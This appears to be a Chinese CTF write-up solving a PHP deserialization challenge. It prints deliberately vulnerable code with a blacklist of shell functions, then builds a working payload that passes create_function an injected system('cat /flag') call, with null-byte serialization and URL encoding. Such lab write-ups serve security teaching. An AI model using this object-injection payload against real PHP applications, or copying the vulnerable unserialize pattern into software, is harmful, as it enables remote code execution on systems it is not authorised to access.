php反序列化例题1
<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a)){
$a("", $b);
}
else{
echo "Try again!";
}
}
private function check($a) {
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
if (preg_match($pattern_a, $a)) {
return false;
}
return true;
}
}
if (isset($_GET['exp'])) {
$p = unserialize($_GET['exp']);
var_dump($p);
}else{
highlight_file("index.php");
}
打开靶场发现是一串php代码,根据部分关键词如:unserialize,class,猜测考的是php反序化绕过。
由于不存在unserialize所以不考虑__construct的代码,就重点考虑__destruct的代码
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a)){
$a("", $b);
}
else{
echo "Try again!";
}
}
$a = (string)$this->a; 将属性 $a 强制转为字符串 获取可控值
$b = (string)$this->b; 将属性 $b 强制转为字符串 获取可控值
if ($this->check($a)) 只检查 $a ⚠️ $b 完全不检查!
$a("", $b); 将 $a 作为函数名调用,传入 $b ⚠️ 动态函数执行!
else 检查失败时输出提示
继续查看黑名单
private function check($a) {
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
if (preg_match($pattern_a, $a)) {
return false;
}
return true;
}
s system, shell_exec, passthru, assert...
h shell_exec, highlight_file...
p passthru, preg_replace, phpinfo...
exec exec, shell_exec
er assert (a-s-s-er-t)
eval eval 本身
cat, flag, file 文件读取相关
禁了一些常见的函数,限制了一些常见函数
array_map('preg_quote', ... 对黑名单中的特殊字符进行转义
通过implode进行连接
'/.../i'不区分大小
但忽略了一个create_function内置函数
当调用create_function函数时其实执行这个函数eval("function lambda_1($args) { $code }");
function create_function($args, $code) {
$func_name = 'lambda_' . uniqid();
eval("function $func_name($args) { $code }");
return $func_name;
}
源码如上
本题恶意构造成这样的代码
function lambda_1() { }system("cat /flag");// }
// ↑ ↑
// } 恶意闭合 // 注释掉多余的 }
通过这样的思路我们就可以开始构造序列化代码
class FLAG {
public $a;
public $b;
}
$obj = new FLAG();
$obj->a = "create_function";
$obj->b = '}system("cat /flag");//';
echo serialize($obj);
得到结果O:4:"FLAG":2:{s:1:"a";s:15:"create_function";s:1:"b";s:23:"}system("cat /flag");//";}
由于访问控制修饰符的不同
| 修饰符 | 序列化后的属性名 | 长度 |
| public | a | 1 |
| private | \x00类名\x00a | 类名长度+3 |
| protected | \x00*\x00a | 4 |
所以再进行手动编辑O:4:"FLAG":2:{s:7:"\x00FLAG\x00a";s:15:"create_function";s:4:"\x00*\x00b";s:23:"}system("cat /flag");//";}
再进行url编码
<?php
// 构造原始Payload(用chr(0)生成真实空字节)
$payload = 'O:4:"FLAG":2:{s:7:"' . chr(0) . 'FLAG' . chr(0) . 'a";s:15:"create_function";s:4:"' . chr(0) . '*' . chr(0) . 'b";s:23:"}system("cat /flag");//";}';
// URL编码
echo urlencode($payload);
?>

最后传入该url编码后的参数后得到flag
更多推荐
所有评论(0)